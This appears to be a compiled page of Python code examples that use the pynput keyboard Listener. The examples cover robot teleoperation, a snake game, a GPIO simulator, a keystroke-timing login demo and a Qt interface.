Beispiel #1
0
    def done_pressed(self):
        self.CRNs = [
            self.e1.get(), self.e2.get(), self.e3.get(), self.e4.get(), self.e5.get(),
            self.e6.get(), self.e7.get(), self.e8.get(), self.e9.get(), self.e10.get()
        ]

        if not self.listener_initialized:
            self.keyboard = Controller()

            listener = Listener(on_release=self.on_release, on_press=None)
            listener.start()

            self.listener_initialized = True
Beispiel #2
0
record=False

def on_release(key):
    if KeyCode.from_char("q") == key:
        print("Quit")
        global finished
        finished = True
        
    elif KeyCode.from_char("s") == key:
        global record
        record = True
        
if __name__ == "__main__":
    server=UR5RobotServer(do_handshake=False)
    listener = Listener(on_release=on_release)
    listener.start()
    
    waypoints = []
    
    print("Record waypoints by freedriving the robot and pressing 's' to save the waypoint")
    print("Stop recording waypoints by pressing 'q'")
    
    while not finished:
        if record == True:
            joints = server.get_joint_states()
            waypoints = waypoints+joints
            print("[Waypoint added]: {}".format(joints))
            record=False
            
    listener.stop()
    
class KeyboardControl(object):
    def __init__(self, env_id, env_kwargs):
        self.env = gym.make(env_id, **env_kwargs)

        self.key_listener = Listener(on_press=self.on_press_callback)
        self.key_listener.start()

        self.action = np.zeros_like(self.env.action_space.low)
        self.extension_actions = np.zeros(3)
        self.rotation_actions = np.zeros(3)

        self.extension_value = self.env.action_space.high[0] / 2
        self.rotation_value = self.env.action_space.high[-1] / 2
        self.exit = False

    def on_press_callback(self, key):
        # Tube 1 (inner most tube) is w s a d
        # Tube 2 (outer most tube) is t g f h
        # Tube 3 (outer most tube) is i k j l
        try:
            if key.char in ['w', 's', 'a', 'd']:
                if key.char == 'w':
                    self.extension_actions[0] = self.extension_value
                elif key.char == 's':
                    self.extension_actions[0] = -self.extension_value
                elif key.char == 'a':
                    self.rotation_actions[0] = self.rotation_value
                elif key.char == 'd':
                    self.rotation_actions[0] = -self.rotation_value
            if key.char in ['t', 'g', 'f', 'h']:
                if key.char == 't':
                    self.extension_actions[1] = self.extension_value
                elif key.char == 'g':
                    self.extension_actions[1] = -self.extension_value
                elif key.char == 'f':
                    self.rotation_actions[1] = self.rotation_value
                elif key.char == 'h':
                    self.rotation_actions[1] = -self.rotation_value
            if key.char in ['i', 'k', 'j', 'l']:
                if key.char == 'i':
                    self.extension_actions[2] = self.extension_value
                elif key.char == 'k':
                    self.extension_actions[2] = -self.extension_value
                elif key.char == 'j':
                    self.rotation_actions[2] = self.rotation_value
                elif key.char == 'l':
                    self.rotation_actions[2] = -self.rotation_value
        except AttributeError:
            if key == Key.esc:
                self.exit = True
                exit()
            else:
                self.extension_actions = np.zeros(3)
                self.rotation_actions = np.zeros(3)

    def run(self):
        obs = self.env.reset()
        while not self.exit:
            self.action[:3] = self.extension_actions
            self.action[3:] = self.rotation_actions
            # print('action: ', self.action)
            observation, reward, done, info = self.env.step(self.action)
            self.extension_actions = np.zeros(3)
            self.rotation_actions = np.zeros(3)
            self.env.render()
            if info['is_success']:
                obs = self.env.reset()
            self.action = np.zeros_like(self.env.action_space.low)
            time.sleep(0.1)
        self.env.close()
Beispiel #4
0
class Game:
    def __init__(self):
        self.board_width = 35
        self.board_height = 25
        self.frame_delay = NORMAL_FRAME_DELAY
        self.should_exit = False
        self.is_lost = False
        self.key_listener = None
        self.snake = Snake(
            board_width=self.board_width,
            board_height=self.board_height
        )
        self.food = Food(self.snake.head_xy)
        self.drop_food()
        self.attach_keyboard_events()

    def deinit(self):
        self.detach_keyboard_events()
        flush_input()

    def attach_keyboard_events(self):
        self.key_listener = Listener(
            on_press=on_press(self),
            on_release=on_release(self)
        )
        self.key_listener.start()

    def detach_keyboard_events(self):
        self.key_listener.stop()

    def run(self):
        while not self.should_exit:
            self.render_board()
            if self.is_snake_body(self.snake.head_xy[0], self.snake.head_xy[1]):
                self.should_exit = self.is_lost = True
            else:
                sleep(self.frame_delay)
                self.move_snake()
        self.deinit()

    def render_board(self):
        clear_term()
        for y in range(self.board_height):
            for x in range(self.board_width):
                if self.is_wall(x, y):
                    self.draw_wall(x, y)
                    continue

                if self.is_snake_head(x, y):
                    print(self.snake.color + self.snake.head_char,
                          end=colorama.Style.RESET_ALL)
                elif self.is_snake_body(x, y):
                    print(self.snake.color + self.snake.body_char,
                          end=colorama.Style.RESET_ALL)
                elif self.is_food(x, y):
                    print(self.food.color + self.food.char,
                          end=colorama.Style.RESET_ALL)
                else:
                    print(' ', end='')
                print(' ', end='')
            print()
        print(f"🃟 <Snake Len: {len(self.snake.body_xy) + 1}> - ", end='')
        print(
            f"<Head XY: {{{self.snake.head_xy[0]}, {self.snake.head_xy[1]}}}> - ",
            end=''
        )
        print(f"<Food XY: {{{self.food.xy[0]}, {self.food.xy[1]}}}> 🃟")

    def draw_wall(self, x, y):
        if self.is_top_wall(y):
            if self.is_left_wall(x):
                print(' ', end='╔')
            elif self.is_right_wall(x):
                print('╗', end=' ')
            else:
                print('═', end='═')
        elif self.is_bottom_wall(y):
            if self.is_left_wall(x):
                print(' ', end='╚')
            elif self.is_right_wall(x):
                print('╝', end=' ')
            else:
                print('═', end='═')
        elif self.is_left_wall(x):
            print(' ', end='║')
        elif self.is_right_wall(x):
            print('║', end=' ')

    def is_top_wall(self, y):
        return not y

    def is_left_wall(self, x):
        return not x

    def is_bottom_wall(self, y):
        return y == self.board_height - 1

    def is_right_wall(self, x):
        return x == self.board_width - 1

    def is_wall(self, x, y):
        return self.is_top_wall(y) or \
            self.is_left_wall(x) or \
            self.is_bottom_wall(y) or \
            self.is_right_wall(x)

    def is_snake_head(self, x, y):
        return [x, y] == self.snake.head_xy

    def is_snake_body(self, x, y):
        return [x, y] in self.snake.body_xy

    def is_food(self, x, y):
        return [x, y] == self.food.xy

    def move_snake(self):
        last_head_xy = self.snake.head_xy[:]

        if self.snake.move_dir == 'up':
            self.snake.head_xy[1] -= 1
        elif self.snake.move_dir == 'down':
            self.snake.head_xy[1] += 1
        elif self.snake.move_dir == 'left':
            self.snake.head_xy[0] -= 1
        elif self.snake.move_dir == 'right':
            self.snake.head_xy[0] += 1

        if self.is_top_wall(self.snake.head_xy[1]):
            self.snake.head_xy[1] = self.board_height - 2
        elif self.is_left_wall(self.snake.head_xy[0]):
            self.snake.head_xy[0] = self.board_width - 2
        elif self.is_bottom_wall(self.snake.head_xy[1]):
            self.snake.head_xy[1] = 1
        elif self.is_right_wall(self.snake.head_xy[0]):
            self.snake.head_xy[0] = 1

        self.snake.body_xy.append(last_head_xy)

        if self.is_food(self.snake.head_xy[0], self.snake.head_xy[1]):
            self.drop_food()
        else:
            self.snake.body_xy.remove(self.snake.body_xy[0])

    def drop_food(self):
        food_xy = self.food.xy
        while self.is_snake_head(food_xy[0], food_xy[1]) or \
                self.is_snake_body(food_xy[0], food_xy[1]):
            food_xy[0] = int(uniform(1, self.board_width - 2))
            food_xy[1] = int(uniform(1, self.board_height - 2))
        self.food = Food(food_xy)

    def speed_up(self):
        self.frame_delay = SPEED_FRAME_DELAY

    def slow_down(self):
        self.frame_delay = NORMAL_FRAME_DELAY
class GPIOSimulator:
    """ Simulate Raspberry Pi GPIO for Project 5 """
    def __init__(self):
        # pin modes
        self.IN = 0
        self.OUT = 1
        self.__NO_SETUP = -1

        # pin states
        self.LOW = 0
        self.HIGH = 1
        self.__NO_SIGNAL = -1

        # led states
        self.OFF = 0
        self.ON = 1

        # private members
        self.__key_coord = {
            '1': (0, 0),
            '2': (0, 1),
            '3': (0, 2),
            '4': (1, 0),
            '5': (1, 1),
            '6': (1, 2),
            '7': (2, 0),
            '8': (2, 1),
            '9': (2, 2),
            '*': (3, 0),
            '0': (3, 1),
            '#': (3, 2)
        }
        self.__valid_keys = self.__key_coord.keys()

        self.__pin_modes = [self.__NO_SETUP] * len(valid_pins)
        self.__pin_states = [self.__NO_SIGNAL] * len(valid_pins)
        self.__led_states = [self.OFF] * N_LEDS
        self.__key_states = [False] * len(self.__key_coord)

        self.__listener = Listener(on_press=self.__on_press,
                                   on_release=self.__on_release)
        self.__listener.start()

    def setup(self, pin, mode, state=None):
        """ setup the initial mode and state of a specific pin """
        if state is None:  # set the default state to self.LOW
            state = self.LOW
        assert pin in valid_pins, "Invalid pin!"
        assert mode in {self.IN, self.OUT}, "Invalid pin mode!"
        self.__pin_modes[pin] = mode
        assert state in {self.LOW, self.HIGH}, "'Invalid pin state!"
        self.__pin_states[pin] = state

    def cleanup(self):
        """ reset GPIO, i.e., clear mode and state of each pin """
        for pin in valid_pins:
            self.__pin_modes[pin] = self.__NO_SETUP
            self.__pin_states[pin] = self.__NO_SIGNAL

    def input(self, pin):
        """ Carry out hardware simulation and return the state of an input pin """
        assert pin in valid_pins, "Invalid input pin"
        assert self.__pin_modes[
            pin] == self.IN, "Pin{} is not in input mode!".format(pin)
        if pin in keypad_pins:
            self.__update_keypad_pin_states()
        return self.__pin_states[pin]

    def output(self, pin, state):
        """ set the state to an output pin, and carry out hardware simulation """
        assert pin in valid_pins, "Invalid output pin"
        assert self.__pin_modes[
            pin] == self.OUT, "Pin{} is not in output mode!".format(pin)
        if pin in keypad_pins:
            self.__pin_states[pin] = state
        else:
            self.__pin_states[pin] = state
            self.__update_led_states()

    def __update_keypad_pin_states(self):
        """
        internal function, called by GPIO.input
        Update the states of the keypad input pins
        """
        # reset all keypad pins whose mode is GPIO.IN to GPIO.LOW
        for pin in keypad_pins:
            if self.__pin_modes[pin] == self.IN:
                self.__pin_states[pin] = self.LOW

        # if there is at least a True in the key states
        if True in self.__key_states:
            # find the first True
            pressed_key_index = self.__key_states.index(True)

            # retrieve the coordinates of the pressed
            pressed_row, pressed_col = list(
                self.__key_coord.values())[pressed_key_index]

            # get the corresponding pins
            row_pin = pressed_row + PIN_KEYPAD_ROW_0
            col_pin = pressed_col + PIN_KEYPAD_COL_0

            # set the input pin state to True according to the connected lines
            # it could be row_pin IN and col_pin OUT
            # or row_pin OUT and col_pin IN
            if self.__pin_modes[row_pin] == self.OUT and \
                    self.__pin_states[row_pin] == self.HIGH and \
                    self.__pin_modes[col_pin] == self.IN:
                self.__pin_states[col_pin] = self.HIGH
            elif self.__pin_modes[col_pin] == self.OUT and \
                    self.__pin_states[col_pin] == self.HIGH and \
                    self.__pin_modes[row_pin] == self.IN:
                self.__pin_states[row_pin] = self.HIGH

    def __on_press(self, key):
        """ The callback function for a key pressing event """
        # We handle only valid keypad keys, while neglecting all others
        # still allowing Ctrl+C to quit
        if hasattr(key, 'char') and key.char in self.__valid_keys:
            # reset the key states
            self.__key_states = [False] * len(self.__key_coord)
            # set the pressed key's state to True
            index = list(self.__key_coord.keys()).index(key.char)
            self.__key_states[index] = True

    def __on_release(self, key):
        """ The callback function for any key releasing event """
        # For simplicity, we reset the key states whenever a key is released
        self.__key_states = [False] * len(self.__key_coord)

    def __update_led_states(self):
        """
        internal function, called by GPIO.output
        set self.__led_states according to the CharliePlexing circuit, charlieplexing pin modes and states
        """
        valid_modes = [[self.OUT, self.OUT, self.IN],
                       [self.IN, self.OUT, self.OUT],
                       [self.OUT, self.IN, self.OUT]]
        cp_pin_modes = self.__pin_modes[
            PIN_CHARLIEPLEXING_0:PIN_CHARLIEPLEXING_2 + 1]
        if cp_pin_modes in valid_modes:
            group_index = valid_modes.index(cp_pin_modes)
        else:
            return
        out_position = [i for i, v in enumerate(cp_pin_modes) if v == self.OUT]
        if self.__pin_states[out_position[0]] == self.HIGH and \
                self.__pin_states[out_position[1]] == self.LOW:
            index_in_group = 0
        elif self.__pin_states[out_position[0]] == self.LOW and \
                self.__pin_states[out_position[1]] == self.HIGH:
            index_in_group = 1
        else:
            return
        led_index = group_index * 2 + index_in_group
        self.__led_states[led_index] = self.ON

    def show_leds_states(self):
        """ Show the states of the six LEDs """
        self.__update_led_states()
        state_strs = [
            'OFF', colorama.Fore.RED + 'ON' + colorama.Fore.RESET + ' '
        ]
        msg = 'LEDs['
        for i in range(N_LEDS):
            comma = '' if i == 0 else ','
            msg += "%s  %d: %s" % (comma, i, state_strs[self.__led_states[i]])
        msg += ']'
        sys.stdout.write("\r" + msg)
        sys.stdout.flush()
        #print(msg, end="\r", flush=True)
        self.__led_states = [self.OFF] * N_LEDS
class Keyboard(QWidget):
    def __init__(self):
        super(Keyboard, self).__init__()
        self.loadUi()
        self.mainWin = self.children()[0]
        self.mainWin.pushButton.clicked.connect(self.addNewUser)
        self.mainWin.pushButton_3.clicked.connect(self.login)
        self.mainWin.pushButton_2.clicked.connect(self.endOfWritting)
        self.mainWin.pushButton_4.clicked.connect(self.resetAll)
        self.probableRatio = [17, 10, 5, 15, 4, 4, 1, 1, 1, 2]
        self.mode = ""

    def resetParameters(self):
        """
        reset user parameters
        """
        self.hold = False
        self.start_time_release = 0
        self.intervals_beetwen_keystrokes = []
        self.intervals_beetwen_press_release = []
        self.symbols = 0
        self.time_of_identification = 0
        self.time_correction = 0
        self.correction_start = True
        self.words = 0
        self.losses_from_correction = []
        self.deleted_keys = 0
        self.deleted_groups = 0
        self.max_without_correction = 0
        self.listener = Listener(on_press=self.on_press,
                                 on_release=self.on_release)

    def resetAll(self):
        """
        clear the text of all textBoxes
        """
        self.resetParameters()
        self.mainWin.plainTextEdit.clear()

        self.mainWin.textEdit.clear()
        self.mainWin.label_2.setText(
            'Witaj! Podaj nazwę użytkownika i wybierz zaloguj lub nowy użytkownik'
        )
        self.mainWin.label_3.setText('Zgodność XX% z użytkownik YYYYYY.')

    def loadUi(self):
        """
        load GUI
        """
        loader = QUiLoader()
        path = os.path.join(os.path.dirname(__file__), "form.ui")
        ui_file = QFile(path)
        ui_file.open(QFile.ReadOnly)
        loader.load(ui_file, self)
        ui_file.close()

    def login(self):
        """
        log in to the system
        """
        self.mode = 'log'
        self.resetParameters()
        used = True
        records = self.selectFromDB()

        for row in records:
            if row[0] == self.mainWin.textEdit.toPlainText():
                used = False
                break
        if (self.mainWin.textEdit.toPlainText() != "" and used == False):
            self.mainWin.label.setText(
                "W Szczebrzeszynie chrząszcz brzmi w trzcinie. \nI Szczebrzeszyn z tego słynie."
            )
            self.mainWin.plainTextEdit.clear()
            self.mainWin.label_2.setText(
                "Przepisz tekst i zatwierdź przyciskiem")
            self.nick = self.mainWin.textEdit.toPlainText()
            self.listener.start()
        elif (used == True):
            self.mainWin.label_2.setText("Użytkownik nie istnieje")

    def addNewUser(self):
        """
        measurement of parameters for a new user
        """
        self.mode = 'new'
        used = False
        records = self.selectFromDB()
        for row in records:
            if row[0] == self.mainWin.textEdit.toPlainText():
                used = True
                break
        if (self.mainWin.textEdit.toPlainText() != "" and used == False):
            self.resetParameters()
            self.mainWin.label.setText(
                "W Szczebrzeszynie chrząszcz brzmi w trzcinie. \nI Szczebrzeszyn z tego słynie."
            )
            self.mainWin.plainTextEdit.clear()
            self.mainWin.label_2.setText(
                "Przepisz tekst i zatwierdź przyciskiem lub kliknij ESC")
            self.nick = self.mainWin.textEdit.toPlainText()
            self.listener.start()
        elif (used == True):
            self.mainWin.label_2.setText("Nazwa użytkownika jest zajęta")
        elif (self.mainWin.textEdit.toPlainText() == ""):
            self.mainWin.label_2.setText("Podaj nazwę użytkownika")

    def on_press(self, key):
        """
        listener - measurement of parameters 
        """
        self.time_of_identification

        if self.time_of_identification == 0:
            self.time_of_identification = time.time()

        self.hold

        if self.hold != True:  # checking holding the key
            print('{0} pressed'.format(key))
            global start_time_press
            start_time_press = time.time()

            if self.start_time_release != 0:
                self.intervals_beetwen_keystrokes.append(
                    time.time() - self.start_time_release)

            self.symbols
            self.symbols = self.symbols + 1

        self.correction_start
        self.time_correction
        self.losses_from_correction
        self.deleted_keys
        self.deleted_groups
        self.max_without_correction
        if key != Key.backspace:
            self.max_without_correction = 1 + self.max_without_correction

        if key == Key.backspace:
            self.deleted_keys = 1 + self.deleted_keys
        if key == Key.backspace and self.correction_start == True:
            self.correction_start = True
        if key == Key.backspace and self.correction_start == True:
            self.time_correction = time.time()
            self.correction_start = False
        if self.correction_start == False and key != Key.backspace:
            self.losses_from_correction.append(time.time() -
                                               self.time_correction)
            self.correction_start = True
            self.deleted_groups = self.deleted_groups + 1
        self.hold = True

    def on_release(self, key):
        """
        listener - measurement of parameters 
        """
        print('{0} release'.format(key))
        self.hold
        self.hold = False
        self.start_time_release
        self.start_time_release = time.time()
        self.intervals_beetwen_press_release.append(time.time() -
                                                    start_time_press)
        if key == Key.esc:
            self.endOfWritting()
            return False
        if key == Key.space:
            self.words
            self.words = self.words + 1

    def endOfWritting(self):
        """
        complete measure
        """
        if self.mode == 'new':
            self.listener.stop()
            self.time_of_identification
            self.time_of_identification = time.time(
            ) - self.time_of_identification
            self.insertIntoDB()
        if self.mode == 'log':
            self.listener.stop()
            self.time_of_identification
            self.time_of_identification = time.time(
            ) - self.time_of_identification
            con = sqlite3.connect('measurements.db')
            con.row_factory = sqlite3.Row
            cur = con.cursor()
            rekord = cur.execute("SELECT * FROM person WHERE login='******'")
            for row in rekord:
                if row[0] == self.nick:
                    ide = self.testLoginSucess(row)
                    if ide > 80:
                        self.mainWin.label_3.setText(
                            'Zgodność ' + str(round(ide, 2)) +
                            '% z użytkownik ' + self.nick +
                            '. Identyfikacja poprawna.')
                    else:
                        self.mainWin.label_3.setText(
                            'Zgodność ' + str(round(ide, 2)) +
                            '% z użytkownik ' + self.nick +
                            '. Identyfikacja nieprawidłowa.')
            con.commit()
            cur.close()

    def insertIntoDB(self):
        """
        insert into database - measurements.db
        """
        minPause = min(self.intervals_beetwen_keystrokes)
        maxPause = max(self.intervals_beetwen_keystrokes)
        averagePause = mean(self.intervals_beetwen_keystrokes)
        averageHold = mean(self.intervals_beetwen_press_release)
        symbolPerMinute = self.symbols / self.time_of_identification * 60
        wordsPerMinute = self.words / self.time_of_identification * 60
        lossesFromCorrection = sum(self.losses_from_correction)
        deletedKeys = self.deleted_keys
        deletedGroups = self.deleted_groups
        maxWithoutCorrection = self.max_without_correction
        con = sqlite3.connect('measurements.db')
        con.row_factory = sqlite3.Row
        cur = con.cursor()
        cur.execute(
            'INSERT INTO person VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);',
            (self.nick, minPause, maxPause, averagePause, averageHold,
             symbolPerMinute, wordsPerMinute, lossesFromCorrection,
             deletedKeys, deletedGroups, maxWithoutCorrection))
        con.commit()
        cur.close()
        self.mainWin.label_2.setText("Dodano Nowego użytkownika !")

    def testLoginSucess(self, dataFromBase):
        """
        calculation of the similarity coefficient
        :return: float probableResult/probableRatioSum: similarity coefficient
        """
        dataFromLog = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
        dataFromLog[1] = min(self.intervals_beetwen_keystrokes)
        dataFromLog[2] = max(self.intervals_beetwen_keystrokes)
        dataFromLog[3] = mean(self.intervals_beetwen_keystrokes)
        dataFromLog[4] = mean(self.intervals_beetwen_press_release)
        dataFromLog[5] = self.symbols / self.time_of_identification * 60
        dataFromLog[6] = self.words / self.time_of_identification * 60
        dataFromLog[7] = sum(self.losses_from_correction)
        dataFromLog[8] = self.deleted_keys
        dataFromLog[9] = self.deleted_groups
        dataFromLog[10] = self.max_without_correction

        probable = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
        for key in range(0, len(dataFromLog)):
            if key != 0:
                if dataFromLog[key] == 0 and dataFromBase[key] == 0:
                    probable[key - 1] = 1
                elif dataFromLog[key] == 0 or dataFromBase[key] == 0:
                    if dataFromLog[key] == 1 or dataFromBase[key] == 1:
                        probable[key - 1] = 0.5
                    elif dataFromLog[key] == 2 or dataFromBase[key] == 2:
                        probable[key - 1] = 0.25
                    elif dataFromLog[key] == 3 or dataFromBase[key] == 3:
                        probable[key - 1] = 0.1
                    else:
                        probable[key - 1] = 0
                else:
                    if dataFromLog[key] < dataFromBase[key]:
                        probable[key - 1] = (dataFromLog[key] /
                                             dataFromBase[key])
                    else:
                        probable[key - 1] = (dataFromBase[key] /
                                             dataFromLog[key])

        probable2Chart = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
        probableResult = 0
        probableRatioSum = 0

        probable[0] = math.sqrt(probable[0])
        probable[1] = math.sqrt(probable[1])
        probable[2] = math.sqrt(probable[2])
        probable[5] = math.sqrt(probable[5])

        for key in range(0, len(probable)):
            probable2Chart[key] = probable[key]
            if probable2Chart[key] > 0.7:
                probable2Chart[key] = probable2Chart[key] + \
                    probable2Chart[key] * (1-probable2Chart[key])
            else:
                probable2Chart[key] = probable2Chart[key] - \
                    probable2Chart[key] * (1-probable2Chart[key])
            probable2Chart[key] = probable2Chart[key] * 100
            probableResult += probable2Chart[key] * self.probableRatio[key]
            probableRatioSum += self.probableRatio[key]
        wector = [
            'minPause', 'maxPause', 'averagePause', 'averageHold',
            'symbolPerMinut', 'wordsPerMinute', 'lossesFromCorrection',
            'deletedKeys', 'deletedGroups', 'maxWithoutCorrection'
        ]

        fig, ax = plt.subplots(figsize=(50, 25))

        # Set tick font size
        for label in (ax.get_xticklabels() + ax.get_yticklabels()):
            label.set_fontsize(10)

        ax.bar(wector, probable2Chart)
        plt.ylabel('Podobieństwo [%]', fontsize=15)
        plt.show()

        return probableResult / probableRatioSum

    def selectFromDB(self):
        """
        Read all records from database 
        :return: rows: records
        """
        con = sqlite3.connect('measurements.db')
        con.row_factory = sqlite3.Row
        cur = con.cursor()
        cur.execute('SELECT * FROM person;')
        rows = cur.fetchall()
        cur.close()
        return rows
Beispiel #7
0
        ard.write(b'S')
    if key.char == '-' or key.char == '=':
        ard.write(b'S')

    if key.char == 'w':
        StopLinear()
    if key.char == 's':
        global back
        back = False
        StopLinear()
    if key.char == 'a' or key.char == 'd':
        StopAngular()


listen = Listener(on_press=on_press, on_release=on_release)
listen.start()

while not rospy.is_shutdown():
    led1.publish(3)  # color: 0 - 3
    time.sleep(1)
    led1.publish(1)  # color: 0 - 3
    time.sleep(1)
"""        for x in range(3):
                move_cmd.linear.x = 0.1
                cmd_vel.publish(move_cmd)
                time.sleep(0.5)
        for x in range(3):
                move_cmd.linear.x = -0.1
                cmd_vel.publish(move_cmd)
                time.sleep(0.5)
"""
Beispiel #8
0
    def setupUi(self, MainWindow):
        MainWindow.setObjectName("MainWindow")
        MainWindow.resize(299, 613)
        self.centralwidget = QtWidgets.QWidget(MainWindow)
        self.centralwidget.setObjectName("centralwidget")
        self.verticalLayoutWidget = QtWidgets.QWidget(self.centralwidget)
        self.verticalLayoutWidget.setGeometry(QtCore.QRect(0, 0, 300, 581))
        self.verticalLayoutWidget.setObjectName("verticalLayoutWidget")
        self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget)
        self.verticalLayout.setContentsMargins(20, 20, 20, 20)
        self.verticalLayout.setObjectName("verticalLayout")
        self.title = QtWidgets.QLabel(self.verticalLayoutWidget)
        self.title.setStyleSheet("font-weight:bold;")
        self.title.setObjectName("title")
        self.verticalLayout.addWidget(
            self.title, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter)
        spacerItem = QtWidgets.QSpacerItem(20, 40,
                                           QtWidgets.QSizePolicy.Minimum,
                                           QtWidgets.QSizePolicy.Expanding)
        self.verticalLayout.addItem(spacerItem)
        self.urlTextBox = QtWidgets.QLineEdit(self.verticalLayoutWidget)
        self.urlTextBox.setText("")
        self.urlTextBox.setObjectName("urlTextBox")
        self.verticalLayout.addWidget(self.urlTextBox)
        spacerItem1 = QtWidgets.QSpacerItem(20, 40,
                                            QtWidgets.QSizePolicy.Minimum,
                                            QtWidgets.QSizePolicy.Expanding)
        self.verticalLayout.addItem(spacerItem1)
        self.appLabel = QtWidgets.QLabel(self.verticalLayoutWidget)
        self.appLabel.setStyleSheet("")
        self.appLabel.setObjectName("appLabel")
        self.verticalLayout.addWidget(self.appLabel)
        self.appBox = QtWidgets.QComboBox(self.verticalLayoutWidget)
        self.appBox.setObjectName("appBox")
        self.appBox.addItem("")
        self.appBox.addItem("")
        self.appBox.addItem("")
        self.verticalLayout.addWidget(self.appBox)
        spacerItem2 = QtWidgets.QSpacerItem(20, 40,
                                            QtWidgets.QSizePolicy.Minimum,
                                            QtWidgets.QSizePolicy.Expanding)
        self.verticalLayout.addItem(spacerItem2)
        self.speedLabel = QtWidgets.QLabel(self.verticalLayoutWidget)
        self.speedLabel.setObjectName("speedLabel")
        self.verticalLayout.addWidget(self.speedLabel)
        self.speedSlider = QtWidgets.QSlider(self.verticalLayoutWidget)
        self.speedSlider.setMinimum(1)
        self.speedSlider.setMaximum(4)
        self.speedSlider.setProperty("value", 3)
        self.speedSlider.setOrientation(QtCore.Qt.Horizontal)
        self.speedSlider.setObjectName("speedSlider")
        self.verticalLayout.addWidget(self.speedSlider)
        spacerItem3 = QtWidgets.QSpacerItem(20, 40,
                                            QtWidgets.QSizePolicy.Minimum,
                                            QtWidgets.QSizePolicy.Expanding)
        self.verticalLayout.addItem(spacerItem3)
        self.skippedPixelsLabel = QtWidgets.QLabel(self.verticalLayoutWidget)
        self.skippedPixelsLabel.setObjectName("skippedPixelsLabel")
        self.verticalLayout.addWidget(self.skippedPixelsLabel)
        self.label_4 = QtWidgets.QLabel(self.verticalLayoutWidget)
        self.label_4.setStyleSheet("font-size: 10px;")
        self.label_4.setObjectName("label_4")
        self.verticalLayout.addWidget(self.label_4)
        self.skippedPixelSlider = QtWidgets.QSlider(self.verticalLayoutWidget)
        self.skippedPixelSlider.setMinimum(1)
        self.skippedPixelSlider.setMaximum(12)
        self.skippedPixelSlider.setSingleStep(1)
        self.skippedPixelSlider.setProperty("value", 5)
        self.skippedPixelSlider.setOrientation(QtCore.Qt.Horizontal)
        self.skippedPixelSlider.setObjectName("skippedPixelSlider")
        self.verticalLayout.addWidget(self.skippedPixelSlider)
        spacerItem4 = QtWidgets.QSpacerItem(20, 40,
                                            QtWidgets.QSizePolicy.Minimum,
                                            QtWidgets.QSizePolicy.Expanding)
        self.verticalLayout.addItem(spacerItem4)
        self.horizontalLayout = QtWidgets.QHBoxLayout()
        self.horizontalLayout.setObjectName("horizontalLayout")
        self.ignorePixelBox = QtWidgets.QCheckBox(self.verticalLayoutWidget)
        self.ignorePixelBox.setObjectName("ignorePixelBox")
        self.horizontalLayout.addWidget(self.ignorePixelBox, 0,
                                        QtCore.Qt.AlignHCenter)
        self.ditherBox = QtWidgets.QCheckBox(self.verticalLayoutWidget)
        self.ditherBox.setObjectName("ditherBox")
        self.horizontalLayout.addWidget(self.ditherBox, 0,
                                        QtCore.Qt.AlignHCenter)
        self.verticalLayout.addLayout(self.horizontalLayout)
        spacerItem5 = QtWidgets.QSpacerItem(20, 40,
                                            QtWidgets.QSizePolicy.Minimum,
                                            QtWidgets.QSizePolicy.Expanding)
        self.verticalLayout.addItem(spacerItem5)
        self.coordinateButton = QtWidgets.QPushButton(
            self.verticalLayoutWidget)
        self.coordinateButton.setObjectName("coordinateButton")
        self.verticalLayout.addWidget(self.coordinateButton)
        self.MouseCoordinateLabel = QtWidgets.QLabel(self.verticalLayoutWidget)
        self.verticalLayout.addWidget(self.MouseCoordinateLabel, 0,
                                      QtCore.Qt.AlignHCenter)
        spacerItem6 = QtWidgets.QSpacerItem(20, 40,
                                            QtWidgets.QSizePolicy.Minimum,
                                            QtWidgets.QSizePolicy.Expanding)
        self.verticalLayout.addItem(spacerItem6)
        self.setBoundsButton = QtWidgets.QPushButton(self.verticalLayoutWidget)
        self.setBoundsButton.setObjectName("setBoundsButton")
        self.verticalLayout.addWidget(self.setBoundsButton)
        self.widthLabel = QtWidgets.QLabel(self.verticalLayoutWidget)
        self.widthLabel.setObjectName("widthLabel")
        self.verticalLayout.addWidget(self.widthLabel, 0,
                                      QtCore.Qt.AlignHCenter)
        spacerItem7 = QtWidgets.QSpacerItem(20, 40,
                                            QtWidgets.QSizePolicy.Minimum,
                                            QtWidgets.QSizePolicy.Expanding)
        self.verticalLayout.addItem(spacerItem7)
        self.drawButton = QtWidgets.QPushButton(self.verticalLayoutWidget)
        palette = QtGui.QPalette()
        brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,
                         brush)
        gradient = QtGui.QRadialGradient(0.5, 0.5, 0.5, 0.5, 0.5)
        gradient.setSpread(QtGui.QGradient.PadSpread)
        gradient.setCoordinateMode(QtGui.QGradient.ObjectBoundingMode)
        gradient.setColorAt(0.0, QtGui.QColor(0, 134, 22))
        gradient.setColorAt(1.0, QtGui.QColor(0, 74, 26))
        brush = QtGui.QBrush(gradient)
        palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Button, brush)
        brush = QtGui.QBrush(QtGui.QColor(0, 255, 0))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Light, brush)
        brush = QtGui.QBrush(QtGui.QColor(0, 212, 0))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Midlight, brush)
        brush = QtGui.QBrush(QtGui.QColor(0, 85, 0))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Dark, brush)
        brush = QtGui.QBrush(QtGui.QColor(0, 113, 0))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Mid, brush)
        brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Text, brush)
        brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.BrightText,
                         brush)
        brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
